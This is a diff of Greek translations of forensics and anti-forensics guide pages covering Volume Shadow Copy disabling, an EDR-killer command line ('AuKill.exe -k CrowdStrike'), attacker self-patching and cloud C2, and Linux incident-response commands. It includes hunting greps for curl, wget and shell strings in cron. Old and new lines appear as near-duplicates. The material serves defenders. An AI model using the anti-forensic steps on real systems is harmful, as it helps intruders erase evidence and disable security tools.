1. Ανοίξτε το πρόγραμμα Υπηρεσίες πληκτρολογώντας "services" στο πλαίσιο αναζήτησης κειμένου μετά την κλικ στο κουμπί εκκίνησης των Windows.
2. Από τη λίστα, βρείτε "Volume Shadow Copy", επιλέξτε το και στη συνέχεια αποκτήστε πρόσβαση στις Ιδιότητες κάνοντας δεξί κλικ.
3. Επιλέξτε Απενεργοποιημένο από το αναπτυσσόμενο μενού "Τύπος εκκίνησης" και στη συνέχεια επιβεβαιώστε την αλλαγή κάνοντας κλικ στο Εφαρμογή και OK.
Είναι επίσης δυνατόν να τροποποιήσετε τη ρύθμιση των αρχείων που θα αντιγραφούν στο αντίγραφο σκιάς στο μητρώο `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`
Είναι επίσης δυνατόν να τροποποιήσετε τη ρύθμιση των αρχείων που θα αντιγραφούν στη σκιά στο μητρώο `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`
### Επικαλύψτε διαγραμμένα αρχεία
@ -214,11 +214,11 @@ AuKill.exe -k CrowdStrike
## Linux Anti-Forensics: Αυτο-επιδιόρθωση και Cloud C2 (20232025)
### Αυτο‑επιδιόρθωση συμβιβασμένων υπηρεσιών για μείωση ανίχνευσης (Linux)
Οι αντίπαλοι ολοένα και περισσότερο “αυτο‑επιδιορθώνουν” μια υπηρεσία αμέσως μετά την εκμετάλλευσή της για να αποτρέψουν την επαναλαμβανόμενη εκμετάλλευση και να καταστείλουν τις ανιχνεύσεις που βασίζονται σε ευπάθειες. Η ιδέα είναι να αντικαταστήσουν ευάλωτα στοιχεία με τις τελευταίες νόμιμες upstream εκδόσεις/JARs, έτσι ώστε οι σαρωτές να αναφέρουν τον υπολογιστή ως επιδιορθωμένο ενώ η επιμονή και το C2 παραμένουν.
### Αυτο‑επιδιόρθωση συμβιβασμένων υπηρεσιών για μείωση της ανίχνευσης (Linux)
Οι αντίπαλοι ολοένα και περισσότερο “αυτο‑επιδιορθώνουν” μια υπηρεσία αμέσως μετά την εκμετάλλευσή της για να αποτρέψουν την επανα-εκμετάλλευση και να καταστείλουν τις ανιχνεύσεις που βασίζονται σε ευπάθειες. Η ιδέα είναι να αντικαταστήσουν ευάλωτα στοιχεία με τις τελευταίες νόμιμες upstream εκδόσεις/JARs, έτσι ώστε οι σαρωτές να αναφέρουν τον υπολογιστή ως επιδιορθωμένο ενώ η επιμονή και το C2 παραμένουν.
Παράδειγμα: Apache ActiveMQ OpenWire RCE (CVE202346604)
- Μετά την εκμετάλλευση, οι επιτιθέμενοι απέκτησαν νόμιμα JARs από το Maven Central (repo1.maven.org), διέγραψαν τα ευάλωτα JARs στην εγκατάσταση του ActiveMQ και επανεκκίνησαν τον μεσίτη.
- Μετά την εκμετάλλευση, οι επιτιθέμενοι αντλήθηκαν νόμιμα JARs από το Maven Central (repo1.maven.org), διέγραψαν τα ευάλωτα JARs στην εγκατάσταση του ActiveMQ και επανεκκίνησαν τον μεσίτη.
- Αυτό έκλεισε την αρχική RCE ενώ διατηρούσε άλλα σημεία πρόσβασης (cron, αλλαγές ρυθμίσεων SSH, ξεχωριστά εμφυτεύματα C2).
Επιχειρησιακό παράδειγμα (εικονικό)
@ -245,19 +245,19 @@ Forensic/hunting tips
- RHEL/CentOS: `rpm -Va 'activemq*'`
- Αναζητήστε εκδόσεις JAR που είναι παρούσες στον δίσκο και δεν ανήκουν στον διαχειριστή πακέτων, ή συμβολικούς συνδέσμους που ενημερώθηκαν εκτός ζώνης.
- Χρονοδιάγραμμα: `find "$AMQ_DIR" -type f -printf '%TY-%Tm-%Td %TH:%TM %p\n' | sort` για να συσχετίσετε ctime/mtime με το παράθυρο συμβιβασμού.
- Ιστορικό shell/τηλεμετρία διαδικασιών: αποδείξεις για `curl`/`wget` προς `repo1.maven.org` ή άλλες CDNs τεκμηρίων αμέσως μετά την αρχική εκμετάλλευση.
- Ιστορικό shell/τηλεμετρία διεργασιών: αποδείξεις για `curl`/`wget` προς `repo1.maven.org` ή άλλες CDNs τεκμηρίων αμέσως μετά την αρχική εκμετάλλευση.
- Διαχείριση αλλαγών: επιβεβαιώστε ποιος εφαρμόσε το “patch” και γιατί, όχι μόνο ότι υπάρχει μια διορθωμένη έκδοση.
### Cloudservice C2 με bearer tokens και antianalysis stagers
Παρατηρήθηκε ότι η τεχνική συνδυάζει πολλαπλές διαδρομές C2 μακράς διάρκειας και συσκευασίες antianalysis:
Παρατηρήθηκε ότι η τεχνική συνδύασε πολλαπλές διαδρομές C2 μακράς διάρκειας και συσκευασίες antianalysis:
- Φορτωτές ELF PyInstaller με προστασία κωδικού πρόσβασης για να εμποδίσουν την απομόνωση και την στατική ανάλυση (π.χ., κρυπτογραφημένο PYZ, προσωρινή εξαγωγή κάτω από `/_MEI*`).
- Δείκτες: `strings` hits όπως `PyInstaller`, `pyi-archive`, `PYZ-00.pyz`, `MEIPASS`.
- Τεχνουργήματα χρόνου εκτέλεσης: εξαγωγή σε `/tmp/_MEI*` ή προσαρμοσμένες διαδρομές `--runtime-tmpdir`.
- C2 υποστηριζόμενο από Dropbox χρησιμοποιώντας σκληρά κωδικοποιημένα OAuth Bearer tokens
- C2 υποστηριζόμενο από Dropbox χρησιμοποιώντας σκληροκωδικοποιημένα OAuth Bearer tokens
- Δίκτυα: `api.dropboxapi.com` / `content.dropboxapi.com` με `Authorization: Bearer <token>`.
- Αναζητήστε σε proxy/NetFlow/Zeek/Suricata για εξερχόμενο HTTPS προς το Dropbox από φορτία διακομιστή που δεν συγχρονίζουν κανονικά αρχεία.
- Παράλληλο/αντίγραφο C2 μέσω tunneling (π.χ., Cloudflare Tunnel `cloudflared`), διατηρώντας τον έλεγχο αν ένα κανάλι αποκλειστεί.
- IOCs φιλοξενίας: διαδικασίες/μονάδες `cloudflared`, ρύθμιση στο `~/.cloudflared/*.json`, εξερχόμενο 443 προς τα Cloudflare edges.
- IOCs φιλοξενίας: διεργασίες/μονάδες `cloudflared`, ρύθμιση στο `~/.cloudflared/*.json`, εξερχόμενο 443 προς τα Cloudflare edges.
### Persistence και “hardening rollback” για τη διατήρηση πρόσβασης (παραδείγματα Linux)
Οι επιτιθέμενοι συχνά συνδυάζουν την αυτοδιορθωτική διαδικασία με ανθεκτικές διαδρομές πρόσβασης:
@ -267,7 +267,7 @@ Forensic/hunting tips
for d in /etc/cron.*; do [ -f "$d/0anacron" ] && stat -c '%n %y %s' "$d/0anacron"; done
grep -R --line-number -E 'curl|wget|python|/bin/sh' /etc/cron.*/* 2>/dev/null
```
- Ανάκτηση σκληρής ρύθμισης SSH: ενεργοποίηση root logins και τροποποίηση προεπιλεγμένων shells για λογαριασμούς χαμηλών δικαιωμάτων.
- Ανάκτηση σκληρής ρύθμισης SSH: ενεργοποίηση root logins και τροποποίηση των προεπιλεγμένων shells για λογαριασμούς χαμηλών δικαιωμάτων.
- Αναζητήστε ενεργοποίηση root login:
```bash
grep -E '^\s*PermitRootLogin' /etc/ssh/sshd_config
@ -284,7 +284,7 @@ find / -maxdepth 3 -type f -regextype posix-extended -regex '.*/[A-Za-z]{8}$' \
-exec stat -c '%n %s %y' {} \; 2>/dev/null | sort
```
Οι αμυντικοί θα πρέπει να συσχετίσουν αυτά τα τεχνουργήματα με εξωτερική έκθεση και γεγονότα επιδιόρθωσης υπηρεσιών για να αποκαλύψουν την αυτοδιορθωτική διαδικασία antiforensic που χρησιμοποιείται για να κρύψει την αρχική εκμετάλλευση.
Οι αμυντικοί θα πρέπει να συσχετίσουν αυτά τα τεκμήρια με εξωτερική έκθεση και γεγονότα επιδιόρθωσης υπηρεσιών για να αποκαλύψουν την αυτοδιορθωτική διαδικασία antiforensic που χρησιμοποιείται για να κρύψει την αρχική εκμετάλλευση.
## References

View File

@ -6,7 +6,7 @@
### Βασικές Πληροφορίες
Πρώτα απ' όλα, συνιστάται να έχετε κάποιο **USB** με **καλά γνωστά δυαδικά και βιβλιοθήκες σε αυτό** (μπορείτε απλά να πάρετε το ubuntu και να αντιγράψετε τους φακέλους _/bin_, _/sbin_, _/lib,_ και _/lib64_), στη συνέχεια να τοποθετήσετε το USB και να τροποποιήσετε τις μεταβλητές περιβάλλοντος για να χρησιμοποιήσετε αυτά τα δυαδικά:
Πρώτα απ' όλα, συνιστάται να έχετε κάποιο **USB** με **καλά γνωστά δυαδικά αρχεία και βιβλιοθήκες πάνω του** (μπορείτε απλά να πάρετε το ubuntu και να αντιγράψετε τους φακέλους _/bin_, _/sbin_, _/lib,_ και _/lib64_), στη συνέχεια να το τοποθετήσετε και να τροποποιήσετε τις μεταβλητές περιβάλλοντος για να χρησιμοποιήσετε αυτά τα δυαδικά αρχεία:
```bash
export PATH=/mnt/usb/bin:/mnt/usb/sbin
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
@ -59,14 +59,14 @@ LiME υποστηρίζει 3 **μορφές**:
LiME μπορεί επίσης να χρησιμοποιηθεί για **να στείλει το dump μέσω δικτύου** αντί να το αποθηκεύσει στο σύστημα χρησιμοποιώντας κάτι όπως: `path=tcp:4444`
### Disk Imaging
### Imaging Δίσκου
#### Shutting down
#### Κλείσιμο
Πρώτα απ' όλα, θα χρειαστεί να **κλείσετε το σύστημα**. Αυτό δεν είναι πάντα επιλογή καθώς μερικές φορές το σύστημα θα είναι ένας παραγωγικός διακομιστής που η εταιρεία δεν μπορεί να αντέξει να κλείσει.\
Υπάρχουν **2 τρόποι** για να κλείσετε το σύστημα, μια **κανονική απενεργοποίηση** και μια **"τραβήξτε το βύσμα" απενεργοποίηση**. Η πρώτη θα επιτρέψει στους **διαδικασίες να τερματιστούν όπως συνήθως** και το **filesystem** να είναι **συγχρονισμένο**, αλλά θα επιτρέψει επίσης την πιθανή **κακόβουλη λογισμική** να **καταστρέψει αποδείξεις**. Η προσέγγιση "τραβήξτε το βύσμα" μπορεί να φέρει **κάποια απώλεια πληροφοριών** (όχι πολλές πληροφορίες θα χαθούν καθώς έχουμε ήδη πάρει μια εικόνα της μνήμης) και η **κακόβουλη λογισμική δεν θα έχει καμία ευκαιρία** να κάνει κάτι γι' αυτό. Επομένως, αν **υποψιάζεστε** ότι μπορεί να υπάρχει **κακόβουλο λογισμικό**, απλώς εκτελέστε την **εντολή** **`sync`** στο σύστημα και τραβήξτε το βύσμα.
Υπάρχουν **2 τρόποι** για να κλείσετε το σύστημα, ένας **κανονικός τερματισμός** και ένας **τερματισμός "τραβώντας το βύσμα"**. Ο πρώτος θα επιτρέψει στους **διαδικασίες να τερματιστούν όπως συνήθως** και το **filesystem** να είναι **συγχρονισμένο**, αλλά θα επιτρέψει επίσης την πιθανή **κακόβουλη λογισμική** να **καταστρέψει αποδείξεις**. Η προσέγγιση "τραβώντας το βύσμα" μπορεί να φέρει **κάποια απώλεια πληροφοριών** (όχι πολλές πληροφορίες θα χαθούν καθώς έχουμε ήδη πάρει μια εικόνα της μνήμης) και η **κακόβουλη λογισμική δεν θα έχει καμία ευκαιρία** να κάνει κάτι γι' αυτό. Επομένως, αν **υποψιάζεστε** ότι μπορεί να υπάρχει **κακόβουλη λογισμική**, απλά εκτελέστε την **εντολή** **`sync`** στο σύστημα και τραβήξτε το βύσμα.
#### Taking an image of the disk
#### Λήψη εικόνας του δίσκου
Είναι σημαντικό να σημειωθεί ότι **πριν συνδέσετε τον υπολογιστή σας σε οτιδήποτε σχετίζεται με την υπόθεση**, πρέπει να είστε σίγουροι ότι θα **τοποθετηθεί ως μόνο για ανάγνωση** για να αποφύγετε την τροποποίηση οποιασδήποτε πληροφορίας.
```bash
@ -77,9 +77,9 @@ dd if=<subject device> of=<image file> bs=512
dcfldd if=<subject device> of=<image file> bs=512 hash=<algorithm> hashwindow=<chunk size> hashlog=<hash file>
dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes
```
### Προ-ανάλυση Εικόνας Δίσκου
### Προ-ανάλυση εικόνας δίσκου
Εικόνα μιας εικόνας δίσκου χωρίς επιπλέον δεδομένα.
Εικόνα μιας εικόνας δίσκου χωρίς περισσότερα δεδομένα.
```bash
#Find out if it's a disk image using "file" command
file disk.img
@ -151,7 +151,7 @@ malware-analysis.md
## Αναζήτηση εγκατεστημένων προγραμμάτων
Για να αναζητήσετε αποτελεσματικά εγκατεστημένα προγράμματα σε συστήματα Debian και RedHat, εξετάστε το ενδεχόμενο να αξιοποιήσετε τα αρχεία καταγραφής συστήματος και τις βάσεις δεδομένων μαζί με χειροκίνητους ελέγχους σε κοινές καταλόγους.
Για να αναζητήσετε αποτελεσματικά εγκατεστημένα προγράμματα σε συστήματα Debian και RedHat, εξετάστε το ενδεχόμενο να αξιοποιήσετε τα αρχεία καταγραφής συστήματος και τις βάσεις δεδομένων παράλληλα με χειροκίνητους ελέγχους σε κοινές καταλόγους.
- Για Debian, ελέγξτε _**`/var/lib/dpkg/status`**_ και _**`/var/log/dpkg.log`**_ για να αποκτήσετε λεπτομέρειες σχετικά με τις εγκαταστάσεις πακέτων, χρησιμοποιώντας `grep` για να φιλτράρετε συγκεκριμένες πληροφορίες.
- Οι χρήστες RedHat μπορούν να ερωτήσουν τη βάση δεδομένων RPM με `rpm -qa --root=/mntpath/var/lib/rpm` για να καταγράψουν τα εγκατεστημένα πακέτα.
@ -174,13 +174,13 @@ find / -type f -executable | grep <something>
```
## Ανάκτηση Διαγραμμένων Εκτελέσιμων Αρχείων
Φανταστείτε μια διαδικασία που εκτελέστηκε από το /tmp/exec και στη συνέχεια διαγράφηκε. Είναι δυνατή η εξαγωγή της
Φανταστείτε μια διαδικασία που εκτελέστηκε από το /tmp/exec και στη συνέχεια διαγράφηκε. Είναι δυνατόν να την εξαγάγουμε.
```bash
cd /proc/3746/ #PID with the exec file deleted
head -1 maps #Get address of the file. It was 08048000-08049000
dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it
```
## Επιθεώρηση τοποθεσιών Αυτοεκκίνησης
## Επιθεώρηση Τοποθεσιών Αυτοεκκίνησης
### Προγραμματισμένα Καθήκοντα
```bash
@ -206,7 +206,7 @@ for d in /etc/cron.*; do [ -f "$d/0anacron" ] && stat -c '%n %y %s' "$d/0anacron
grep -R --line-number -E 'curl|wget|/bin/sh|python|bash -c' /etc/cron.*/* 2>/dev/null
```
#### Hunt: SSH hardening rollback and backdoor shells
Οι αλλαγές στο sshd_config και τα κέλυφος συστήματος λογαριασμών είναι κοινές μετά την εκμετάλλευση για τη διατήρηση της πρόσβασης.
Οι αλλαγές στο sshd_config και στα κέλυφος συστήματος λογαριασμών είναι κοινές μετά την εκμετάλλευση για τη διατήρηση της πρόσβασης.
```bash
# Root login enablement (flag "yes" or lax values)
grep -E '^\s*PermitRootLogin' /etc/ssh/sshd_config
@ -215,7 +215,7 @@ grep -E '^\s*PermitRootLogin' /etc/ssh/sshd_config
awk -F: '($7 ~ /bin\/(sh|bash|zsh)/ && $1 ~ /^(games|lp|sync|shutdown|halt|mail|operator)$/) {print}' /etc/passwd
```
#### Hunt: Cloud C2 markers (Dropbox/Cloudflare Tunnel)
- Οι δείκτες API του Dropbox συνήθως χρησιμοποιούν το api.dropboxapi.com ή το content.dropboxapi.com μέσω HTTPS με Authorization: Bearer tokens.
- Οι σηματοδότες API του Dropbox χρησιμοποιούν συνήθως το api.dropboxapi.com ή το content.dropboxapi.com μέσω HTTPS με Authorization: Bearer tokens.
- Αναζητήστε σε proxy/Zeek/NetFlow για απροσδόκητη έξοδο Dropbox από διακομιστές.
- Το Cloudflare Tunnel (`cloudflared`) παρέχει εφεδρικό C2 μέσω εξόδου 443.
```bash
@ -227,7 +227,7 @@ systemctl list-units | grep -i cloudflared
Διαδρομές όπου μπορεί να εγκατασταθεί ένα κακόβουλο λογισμικό ως υπηρεσία:
- **/etc/inittab**: Καλεί σενάρια αρχικοποίησης όπως το rc.sysinit, κατευθύνοντας περαιτέρω σε σενάρια εκκίνησης.
- **/etc/rc.d/** και **/etc/rc.boot/**: Περιέχουν σενάρια για την εκκίνηση υπηρεσιών, το δεύτερο βρίσκεται σε παλαιότερες εκδόσεις Linux.
- **/etc/rc.d/** και **/etc/rc.boot/**: Περιέχουν σενάρια για την εκκίνηση υπηρεσιών, το τελευταίο βρίσκεται σε παλαιότερες εκδόσεις Linux.
- **/etc/init.d/**: Χρησιμοποιείται σε ορισμένες εκδόσεις Linux όπως το Debian για την αποθήκευση σεναρίων εκκίνησης.
- Οι υπηρεσίες μπορεί επίσης να ενεργοποιηθούν μέσω **/etc/inetd.conf** ή **/etc/xinetd/**, ανάλογα με την παραλλαγή του Linux.
- **/etc/systemd/system**: Ένας φάκελος για σενάρια διαχειριστή συστήματος και υπηρεσιών.
@ -273,7 +273,7 @@ systemctl list-units | grep -i cloudflared
- **/var/log/**: Ελέγξτε πάντα για απροσδόκητες καταγραφές εδώ.
> [!TIP]
> Οι καταγραφές συστήματος Linux και τα υποσυστήματα ελέγχου μπορεί να είναι απενεργοποιημένα ή διαγραμμένα σε περίπτωση παραβίασης ή περιστατικού κακόβουλου λογισμικού. Δεδομένου ότι οι καταγραφές σε συστήματα Linux περιέχουν γενικά μερικές από τις πιο χρήσιμες πληροφορίες σχετικά με κακόβουλες δραστηριότητες, οι εισβολείς τις διαγράφουν τακτικά. Επομένως, κατά την εξέταση διαθέσιμων αρχείων καταγραφής, είναι σημαντικό να αναζητάτε κενά ή μη κανονικές καταχωρήσεις που μπορεί να υποδεικνύουν διαγραφή ή παραποίηση.
> Οι καταγραφές συστήματος Linux και τα υποσυστήματα ελέγχου μπορεί να είναι απενεργοποιημένα ή διαγραμμένα σε περίπτωση παραβίασης ή περιστατικού κακόβουλου λογισμικού. Δεδομένου ότι οι καταγραφές σε συστήματα Linux περιέχουν γενικά μερικές από τις πιο χρήσιμες πληροφορίες σχετικά με κακόβουλες δραστηριότητες, οι εισβολείς τις διαγράφουν τακτικά. Επομένως, κατά την εξέταση διαθέσιμων αρχείων καταγραφής, είναι σημαντικό να αναζητάτε κενά ή μη κανονικές καταχωρήσεις που μπορεί να είναι ένδειξη διαγραφής ή παραποίησης.
**Το Linux διατηρεί ένα ιστορικό εντολών για κάθε χρήστη**, αποθηκευμένο σε:
@ -295,10 +295,10 @@ systemctl list-units | grep -i cloudflared
Ορισμένες εφαρμογές επίσης δημιουργούν τα δικά τους αρχεία καταγραφής:
- **SSH**: Εξετάστε το _\~/.ssh/authorized_keys_ και _\~/.ssh/known_hosts_ για μη εξουσιοδοτημένες απομακρυσμένες συνδέσεις.
- **Gnome Desktop**: Ρίξτε μια ματιά στο _\~/.recently-used.xbel_ για πρόσφατα προσβάσιμα αρχεία μέσω εφαρμογών Gnome.
- **Gnome Desktop**: Ρίξτε μια ματιά στο _\~/.recently-used.xbel_ για πρόσφατα προσπελάσιμα αρχεία μέσω εφαρμογών Gnome.
- **Firefox/Chrome**: Ελέγξτε το ιστορικό του προγράμματος περιήγησης και τις λήψεις στο _\~/.mozilla/firefox_ ή _\~/.config/google-chrome_ για ύποπτες δραστηριότητες.
- **VIM**: Εξετάστε το _\~/.viminfo_ για λεπτομέρειες χρήσης, όπως διαδρομές αρχείων που προσπελάστηκαν και ιστορικό αναζητήσεων.
- **Open Office**: Ελέγξτε για πρόσβαση σε πρόσφατα έγγραφα που μπορεί να υποδηλώνουν παραβιασμένα αρχεία.
- **Open Office**: Ελέγξτε για πρόσφατη πρόσβαση σε έγγραφα που μπορεί να υποδηλώνει παραβιασμένα αρχεία.
- **FTP/SFTP**: Εξετάστε τα αρχεία καταγραφής στο _\~/.ftp_history_ ή _\~/.sftp_history_ για μεταφορές αρχείων που μπορεί να είναι μη εξουσιοδοτημένες.
- **MySQL**: Εξετάστε το _\~/.mysql_history_ για εκτελεσμένα ερωτήματα MySQL, που μπορεί να αποκαλύπτουν μη εξουσιοδοτημένες δραστηριότητες βάσης δεδομένων.
- **Less**: Αναλύστε το _\~/.lesshst_ για ιστορικό χρήσης, συμπεριλαμβανομένων των προβαλλόμενων αρχείων και των εκτελούμενων εντολών.
@ -328,12 +328,12 @@ More examples and info inside the github: [https://github.com/snovvcrash/usbrip]
## Ανασκόπηση Λογαριασμών Χρηστών και Δραστηριοτήτων Σύνδεσης
Εξετάστε τα _**/etc/passwd**_, _**/etc/shadow**_ και **αρχεία ασφαλείας** για ασυνήθιστα ονόματα ή λογαριασμούς που δημιουργήθηκαν και ή χρησιμοποιήθηκαν κοντά σε γνωστά μη εξουσιοδοτημένα γεγονότα. Επίσης, ελέγξτε πιθανές επιθέσεις brute-force sudo.\
Επιπλέον, ελέγξτε αρχεία όπως το _**/etc/sudoers**_ και _**/etc/groups**_ για απροσδόκητα προνόμια που δίνονται σε χρήστες.\
Επιπλέον, ελέγξτε αρχεία όπως _**/etc/sudoers**_ και _**/etc/groups**_ για απροσδόκητα προνόμια που δίνονται σε χρήστες.\
Τέλος, αναζητήστε λογαριασμούς με **κανέναν κωδικό πρόσβασης** ή **εύκολα μαντεύσιμους** κωδικούς πρόσβασης.
## Εξέταση Συστήματος Αρχείων
### Ανάλυση Δομών Συστήματος Αρχείων σε Έρευνα Κακόβουλου Λογισμικού
### Ανάλυση Δομών Συστήματος Αρχείων σε Έρευνες Κακόβουλου Λογισμικού
Κατά την έρευνα περιστατικών κακόβουλου λογισμικού, η δομή του συστήματος αρχείων είναι μια κρίσιμη πηγή πληροφοριών, αποκαλύπτοντας τόσο τη σειρά των γεγονότων όσο και το περιεχόμενο του κακόβουλου λογισμικού. Ωστόσο, οι συγγραφείς κακόβουλου λογισμικού αναπτύσσουν τεχνικές για να εμποδίσουν αυτή την ανάλυση, όπως η τροποποίηση των χρονικών σφραγίδων αρχείων ή η αποφυγή του συστήματος αρχείων για αποθήκευση δεδομένων.
@ -342,7 +342,7 @@ More examples and info inside the github: [https://github.com/snovvcrash/usbrip]
- **Διεξάγετε μια λεπτομερή ανάλυση χρονολογίας** χρησιμοποιώντας εργαλεία όπως το **Autopsy** για την οπτικοποίηση χρονολογιών γεγονότων ή το `mactime` του **Sleuth Kit** για λεπτομερή δεδομένα χρονολογίας.
- **Εξετάστε απροσδόκητα σενάρια** στο $PATH του συστήματος, τα οποία μπορεί να περιλαμβάνουν shell ή PHP σενάρια που χρησιμοποιούνται από επιτιθέμενους.
- **Εξετάστε το `/dev` για ασυνήθιστα αρχεία**, καθώς παραδοσιακά περιέχει ειδικά αρχεία, αλλά μπορεί να φιλοξενεί αρχεία που σχετίζονται με κακόβουλο λογισμικό.
- **Αναζητήστε κρυφά αρχεία ή καταλόγους** με ονόματα όπως ".. " (dot dot space) ή "..^G" (dot dot control-G), τα οποία θα μπορούσαν να αποκρύπτουν κακόβουλο περιεχόμενο.
- **Αναζητήστε κρυφά αρχεία ή καταλόγους** με ονόματα όπως ".. " (dot dot space) ή "..^G" (dot dot control-G), τα οποία θα μπορούσαν να κρύβουν κακόβουλο περιεχόμενο.
- **Εντοπίστε αρχεία setuid root** χρησιμοποιώντας την εντολή: `find / -user root -perm -04000 -print` Αυτό βρίσκει αρχεία με ανυψωμένα δικαιώματα, τα οποία θα μπορούσαν να καταχραστούν από επιτιθέμενους.
- **Ανασκοπήστε τις χρονικές σφραγίδες διαγραφής** στους πίνακες inode για να εντοπίσετε μαζικές διαγραφές αρχείων, που μπορεί να υποδηλώνουν την παρουσία rootkits ή trojans.
- **Επιθεωρήστε διαδοχικά inodes** για κοντινά κακόβουλα αρχεία μετά την αναγνώριση ενός, καθώς μπορεί να έχουν τοποθετηθεί μαζί.
@ -355,7 +355,7 @@ ls -laR --sort=time /bin```
ls -lai /bin | sort -n```
````
> [!TIP]
> Σημειώστε ότι ένας **επιτιθέμενος** μπορεί να **τροποποιήσει** τον **χρόνο** για να κάνει τα **αρχεία να φαίνονται** **νόμιμα**, αλλά δεν μπορεί να **τροποποιήσει** το **inode**. Αν βρείτε ότι ένα **αρχείο** υποδεικνύει ότι δημιουργήθηκε και τροποποιήθηκε την **ίδια στιγμή** με τα υπόλοιπα αρχεία στον ίδιο φάκελο, αλλά το **inode** είναι **αναπάντεχα μεγαλύτερο**, τότε οι **χρόνοι αυτού του αρχείου έχουν τροποποιηθεί**.
> Σημειώστε ότι ένας **επιτιθέμενος** μπορεί να **τροποποιήσει** τον **χρόνο** για να κάνει τα **αρχεία να φαίνονται** **νόμιμα**, αλλά δεν μπορεί να **τροποποιήσει** το **inode**. Αν βρείτε ότι ένα **αρχείο** υποδεικνύει ότι δημιουργήθηκε και τροποποιήθηκε την **ίδια στιγμή** με τα υπόλοιπα αρχεία στον ίδιο φάκελο, αλλά το **inode** είναι **αναπάντεχα μεγαλύτερο**, τότε οι **χρόνοι του αρχείου αυτού τροποποιήθηκαν**.
## Σύγκριση αρχείων διαφορετικών εκδόσεων συστήματος αρχείων

View File

@ -4,12 +4,12 @@
## Διαμερίσματα
Ένας σκληρός δίσκος ή ένα **SSD μπορεί να περιέχει διαφορετικά διαμερίσματα** με στόχο τη φυσική διαχωρισμό των δεδομένων.\
Ένας σκληρός δίσκος ή μια **SSD δίσκος μπορεί να περιέχει διαφορετικά διαμερίσματα** με στόχο τη φυσική διαχωρισμό των δεδομένων.\
Η **ελάχιστη** μονάδα ενός δίσκου είναι ο **τομέας** (κανονικά αποτελείται από 512B). Έτσι, το μέγεθος κάθε διαμερίσματος πρέπει να είναι πολλαπλάσιο αυτού του μεγέθους.
### MBR (master Boot Record)
Είναι κατανεμημένο στον **πρώτο τομέα του δίσκου μετά τα 446B του κώδικα εκκίνησης**. Αυτός ο τομέας είναι ουσιώδης για να υποδείξει στον υπολογιστή τι και από πού πρέπει να προσαρτηθεί ένα διαμέρισμα.\
Είναι κατανεμημένο στον **πρώτο τομέα του δίσκου μετά τα 446B του κώδικα εκκίνησης**. Αυτός ο τομέας είναι ουσιώδης για να υποδείξει στον υπολογιστή τι και από πού θα πρέπει να προσαρτηθεί ένα διαμέρισμα.\
Επιτρέπει έως **4 διαμερίσματα** (το πολύ **μόνο 1** μπορεί να είναι ενεργό/**εκκινήσιμο**). Ωστόσο, αν χρειάζεστε περισσότερα διαμερίσματα μπορείτε να χρησιμοποιήσετε **εκτεταμένα διαμερίσματα**. Ο **τελευταίος byte** αυτού του πρώτου τομέα είναι η υπογραφή του boot record **0x55AA**. Μόνο ένα διαμέρισμα μπορεί να χαρακτηριστεί ως ενεργό.\
Το MBR επιτρέπει **μέγιστο 2.2TB**.
@ -17,7 +17,7 @@
![](<../../../images/image (304).png>)
Από τα **bytes 440 έως 443** του MBR μπορείτε να βρείτε την **Υπογραφή Δίσκου των Windows** (αν χρησιμοποιούνται Windows). Το λογικό γράμμα δίσκου του σκληρού δίσκου εξαρτάται από την Υπογραφή Δίσκου των Windows. Η αλλαγή αυτής της υπογραφής θα μπορούσε να αποτρέψει την εκκίνηση των Windows (εργαλείο: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
Από τα **bytes 440 έως 443** του MBR μπορείτε να βρείτε την **Υπογραφή Δίσκου Windows** (αν χρησιμοποιείται Windows). Το λογικό γράμμα δίσκου του σκληρού δίσκου εξαρτάται από την Υπογραφή Δίσκου Windows. Η αλλαγή αυτής της υπογραφής θα μπορούσε να αποτρέψει την εκκίνηση των Windows (εργαλείο: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
![](<../../../images/image (310).png>)
@ -32,11 +32,11 @@
| 494 (0x1EE) | 16 (0x10) | Τέταρτο Διαμέρισμα |
| 510 (0x1FE) | 2 (0x2) | Υπογραφή 0x55 0xAA |
**Μορφή Καταγραφής Διαμερίσματος**
**Μορφή Εγγραφής Διαμερίσματος**
| Offset | Length | Item |
| --------- | -------- | ------------------------------------------------------ |
| 0 (0x00) | 1 (0x01) | Σημαία ενεργοποίησης (0x80 = εκκινήσιμο) |
| 0 (0x00) | 1 (0x01) | Σημαία ενεργότητας (0x80 = εκκινήσιμο) |
| 1 (0x01) | 1 (0x01) | Αρχική κεφαλή |
| 2 (0x02) | 1 (0x01) | Αρχικός τομέας (bits 0-5); ανώτερα bits του κυλίνδρου (6- 7) |
| 3 (0x03) | 1 (0x01) | Αρχικός κύλινδρος χαμηλότερα 8 bits |
@ -47,9 +47,9 @@
| 8 (0x08) | 4 (0x04) | Τομείς πριν το διαμέρισμα (little endian) |
| 12 (0x0C) | 4 (0x04) | Τομείς στο διαμέρισμα |
Για να προσαρτήσετε ένα MBR σε Linux, πρέπει πρώτα να αποκτήσετε την αρχική μετατόπιση (μπορείτε να χρησιμοποιήσετε το `fdisk` και την εντολή `p`)
Για να προσαρτήσετε ένα MBR σε Linux πρέπει πρώτα να αποκτήσετε την αρχική μετατόπιση (μπορείτε να χρησιμοποιήσετε το `fdisk` και την εντολή `p`)
![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
Και στη συνέχεια χρησιμοποιήστε τον παρακάτω κώδικα
```bash
@ -60,11 +60,11 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
```
**LBA (Λογική διεύθυνση μπλοκ)**
